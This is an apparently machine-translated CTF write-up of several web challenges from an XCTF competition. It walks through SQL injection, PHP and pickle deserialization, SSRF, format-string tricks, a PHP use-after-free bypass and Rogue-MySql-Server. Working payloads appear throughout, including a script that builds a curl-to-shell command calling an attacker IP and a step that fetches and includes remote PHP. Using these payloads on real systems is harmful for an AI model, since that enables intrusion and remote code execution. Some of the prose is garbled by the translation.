Article Directory
XCTF University Battle "Epidemic" Network Security Sharing Competition
easy_trick_gzmtu
- First of all, it's really a good idea to talk about this topic.
- After opening the title, it's a nice blog, prompted in the source? time=Y or? time=2020
- There were blind notes on the test, but when you constructed payload, it was always 500. Guess it was the backend that filtered the submitted data. After trying n positions, it was too long to think about them. Finally, it was found that adding \ before each character was enough (orzzzzzzzzzz zzzzzzzzzzzz)
- Next is the blindly scripted shuttle
- The final data that pops up is as follows
Database name: trick Table name: admin,content Column name: id,username,passwd,url,id,content,createtime admin table contents: username:admin Password: 20200202 Goodluck //goodluck hammers url:/eGlhb2xldW5n
- Found another link, doll...
- After the visit, found to be landing, with the explosion landing
- Found Readable Files
- Tips found in source: <!--/eGlhb2xldW5n/eGlhb2xldW5nLnBocA=.php-->
- Try to read it, echo: please visit from local
- Originally thought it was a header forgery like XFF, it was later discovered that something went wrong (the hint given was ambiguous)
- Use file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php (it doesn't seem to work with 127.0.0.1 either, I read the source code later to know that only the localhost is written in the background, a bit crashed
- Read eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
<?php class trick{ public $gf; public function content_to_file($content){ $passwd = $_GET['pass']; if(preg_match('/^[a-z]+\.passwd$/m',$passwd)) { if(strpos($passwd,"20200202")){ echo file_get_contents("/".$content); } } } public function aiisc_to_chr($number){ if(strlen($number)>2){ $str = ""; $number = str_split($number,2); foreach ($number as $num ) { $str = $str .chr($num); } return strtolower($str); } return chr($number); } public function calc(){ $gf=$this->gf; if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){ eval('$content='.$gf.';'); $content = $this->aiisc_to_chr($content); return $content; } } public function __destruct(){ $this->content_to_file($this->calc()); } } unserialize((base64_decode($_GET['code']))); ?>
- Read his check file again
<?php include("../conn.php"); if(empty($_SESSION['login'])){ die('Please login!'); } if(isset($_GET['url'])){ $url = $_GET['url']; $parts = parse_url($url); if(empty($parts['host']) || $parts['host'] != 'localhost') { die('Please visit from local'); } if(!preg_match("/flag|fl|la|ag|fla|lag|log/is", $parts['path'])){ readfile($url); }else{ die('Don't do these strange things.'); } } ?>
- Look at how his idnex.php interface was designed, using the data function, and sure enough...
<?php include('conn.php'); error_reporting(0); $time = date($_GET['time']); $sql = "select * from `content` where `createtime` = '$time' "; $r = $conn->query($sql); $content = $r->fetch_array(MYSQL_ASSOC); ?>
- After the code audit, you know that there is a deserialized + alphabetic code execution in the eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php file that assigns flag to the contents (and another check for the pass parameter is that the question is posed for the question)
- Part of payload script
>>> a = '/TMP/../FLAG' >>> s = '' >>> for i in a: ... s+=str(ord(i)) ... >>> print(s) 47847780474646477076657
$tmp = new trick(); $tmp->gf='~'.(~'478477804746464770766571'); echo serialize($tmp); echo "<br>"; echo base64_encode(serialize($tmp));
- Final payload:code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyNToifsvIx8vIyMfPy8jLycvJy8jIz8jJycrIziI7fQ &pass=a.passwd%0a20200200202
webtmp
- A similar title was found, guessgame of SUCTF
- Some sources are as follows
class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name}, category={self.category})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): print(name) if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) return "result={}\npickle_data={}\ngiveflag={}\n".format(result, pickle_data, correct) except Exception as e: print(repr(e)) return "Something wrong"
- Find wp at that time Detailed
- The idea is to construct a payload so that the secret property is overridden
- Feels like handcrafting is too much trouble, I didn't expect the last friend constructed tqllllll
- This is his payload
\x80\x03 c__main__\nsecret\nN(S'name'\nS'aaa'\nd\x86b c__main__\nsecret\nN(S'category'\nS'bbb'\nd\x86b c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00aaaq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00bbbq\x06ub.
hackme
- Source code given, audit downloaded, session deserialization found
- Only administrators in the core folder have access. After debugging locally, we found a usage point in the update signature and constructed payload:|O:4:'info': 2:{s:5:'admin'; i:1; s:4:'sign'; s:4:'wuhu';}
- Access core
- The source code is as follows:
<?php require_once('./init.php'); error_reporting(0); if (check_session($_SESSION)) { #hint : core/clear.php $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset($_POST['url'])) { $url = $_POST['url']; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } } else { echo "invalid url"; } } else { highlight_file(__FILE__); } } else { die('Only administrators can see me'); }
-
The point of consideration is the use of the four-byte getshell and data protocols
-
4-byte getshell Reference hitcon2017
-
The data protocol uses compress.zlib://data:@127.0.0.1/plain;base64,
-
Solving payload (python2)
import requests as r from time import sleep import random import hashlib import base64 # shell_ip = '' ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in shell_ip.split('.')]) pos0 = 'e' pos1 = 'h' pos2 = 'g' payload = [ '>dir', '>%s\>' % pos0, '>%st-' % pos1, '>sl', '*>v', '>rev', '*v>%s' % pos2, '>p', '>ph\\', '>1.\\', '>\>\\', '>%s\\' % ip[8:10], '>%s\\' % ip[6:8], '>%s\\' % ip[4:6], '>%s\\' % ip[2:4], '>%s\\' % ip[0:2], '>\ \\', '>rl\\', '>cu\\', 'sh ' + pos2, 'sh ' + pos0, ] tmp = '''POST /core/ HTTP/1.1 Host: http://121.36.222.22:88 Content-Length: 77 Pragma: no-cache Cache-Control: no-cache Origin: http://121.36.222.22:88 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://121.36.222.22:88/core/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7 Cookie: PHPSESSID=1d2e6a8747522dab247fccdeb1283a75 Connection: close url=compress.zlib%3A%2F%2Fdata%3A%40127.0.0.1%2Fplain%3Bbase64%2C{} ''' # |O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"ssss";} # rm * cm0gKg== import hackhttp hh = hackhttp.hackhttp() for i in payload: print(base64.b64encode(i).replace('+',"%2b").replace("=","%3D")) data = tmp.format(base64.b64encode(i).replace('+',"%2B").replace("=","%3D")) code, head, html, redirect, log = hh.http('http://121.36.222.22:88/core/', raw=data) print html
- Connect shell to get flag
fmkq
- This question is the rounded one
- The team's mentors started reading port 8080, so I took on what they continued to do.
- First source code is
<?php error_reporting(0); if(isset($_GET['head'])&&isset($_GET['url'])){ $begin = "The number you want: "; extract($_GET); if($head == ''){ die('Where is your head?'); } if(preg_match('/[A-Za-z0-9]/i',$head)){ die('Head can\'t be like this!'); } if(preg_match('/log/i',$url)){ die('No No No'); } if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){ die('Don\'t use strange protocol!'); } $funcname = $head.'curl_init'; $ch = $funcname(); if($ch){ curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); } else{ $output = 'rua'; } echo sprintf($begin.'%d',$output); } else{ show_source(__FILE__); }
- A typical SSRF problem, the mentor's ideas are:
head=\ Can be normal curl
begin=%1$s Echo the output
url=http://127.0.0.1:8080
- Read the 8080 port echo as follows:
-
I was confused at first, but at last I was reminded that it was python's api
-
{file} is used, so a formatting string bug is suspected
-
Construct payload?Head=&begin=%1$s&url=http://127.0.0.1:8080/read/file={file. u class_u. u init_. u globals_}%26vipcode=0
-
Formatting string vulnerability was detected and information about vip was found
-
Reconstruct payload to read vip's attribute {file. u class_u. u init_u. u globals_u[vip]. u init_u. u globals_u}
-
Read vipcode
-
At this point I thought I could try to read flag directly. The directory is fl4g_1s_h3re_u_wi11_rua, but the echo is that the directory is a secret directory
-
Read the source code first: /app/base/vip.py and/app/base/readfile.py
-
Discover important information in readfile.py
-
You can see that the fl4g is filtered and think of intercepting an f with a formatted string: payload{file. u class_u. u init_u. u globals_[u name_][9]}
-
However, the error is still reported. Audit the source again and find that it has been replaced by {vipfile}, so replace with {vipfile. u class_u. u init_u. u globals_u[u name_][9]}
PHP-UAF
- After opening the title, check the source code as follows:
<?php $sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_REQUEST['cmd'])) { @eval($_REQUEST['cmd']); } highlight_file(__FILE__);
-
Create a folder for each user
-
Then switch to your own folder directory
-
Can pass in cmd for code execution
-
Incoming cmd=phpinfo();, view phpinfo related information
-
Functions that execute system commands are disabled
- And open_basedir
- I tried a few previous wheels and found that none of them worked, so I tried to find a new script
- google and github take a look at php uaf apache
- Many can be found, and the last script used is: php7-backtrace-bypass Change PWN ("uname-a") to pwn($_GET['pass'])
- From the remote server copy to the title environment, copy is directly copied to the / tmp directory, copy("http://ip/1.txt","/tmp/233.php") because it is regularly deleted in its own folder
- Incoming? Cmd=include ("/tmp/233.php"); &pass=ls /Conduct command execution, view directory
- Incoming? CMD = include ("/tmp/233.php"); &pass=/readflag, read flag
nweb
- Open the link, a login interface, a registration link, and a directory scan reveals admin.html and admin.php
- Register any rdd rdd, you can log in, you have a flag interface, but click to show You don't have permission to
- Here are a few things to show in this interface
Source leak gets flag directly
Registered users also have a rating
There is no flag in flag.php!!!
-
Source code should look at
-
When you register, you should register a higher-level
-
There is absolutely flag in flag.php
-
But the title doesn't give a source, so try to look at the html source
-
A type parameter was found in the registration interface and prompted <!-- 110 -->
-
F12 Modify elements, submit (or bp wrap changes) and register an advanced user
-
You can access the flag interface by logging in with a new user
-
There's a search box, guess there's an injection
-
Enter 1, echo: There is no flag......
-
Enter 1'or 1=1#, echo There is flag!
-
Judging Blind Notes
-
Script runs out of database name: ctf-2
-
When running other data, we found some problems and after some fuzz, we found that select and from need to be double-written to bypass
-
Next, continue to construct payload read table name, column name
Table name: admin,fl4g,jd,user Column name: username,pwd,qq,flag,number,submission_date,shifumoney,money,truemoney,zhuangtai,bangding,beizhu,username,pwd,tupian
- payload:base2 = flag=1'or ASCII (substr((selectectect flag frfromom fl4g), {}, 1)>{}%23) for the final flag
- Result:
-
Only half of the flag was run out, but the first half gives a hint for Rogue-MySql-Server, and a search reveals any file read vulnerabilities.
-
No usage point was found, and I thought of admin.html, which I swept up earlier, as well as a landing box
-
In the just blinded note, a table of admin popped out, and then reported the content, to get the user name and password: admin e2ecea8b80a96fb07f43a2f83c8b0960, password MD5 decrypt it is: whoamiadmin
-
After landing, jump to admin.php and discover holes that can make use of Rogue-MySql-Server
-
Looked for the script on the web, github has open source, but I don't know why it can't be read, so I found a wild script, modified the port, and modified the file to be read as flag.php (flag.php mentioned earlier can't have flag, so flag.php must have flag
-
The final result is as follows
- Flag stitching: flag{Rogue-MySql-Server-is-nday}
sqlcheckin
- This question...Seconds by teammate
- I looked again and found there was no idea.
- Later, ask Master Y1NG (Master's Blog - - Highly recommended collection)
- Code given in title:
<?php // ... $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx'); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'"); $stmt->execute(); $result = $stmt->fetchAll(); if (count($result) > 0) { if ($result[0]['username'] == 'admin') { include('flag.php'); exit(); // ....
- After a search, it was the same topic. link
- It's really strange knowledge.flag echoes when admin'-0-'logs in directly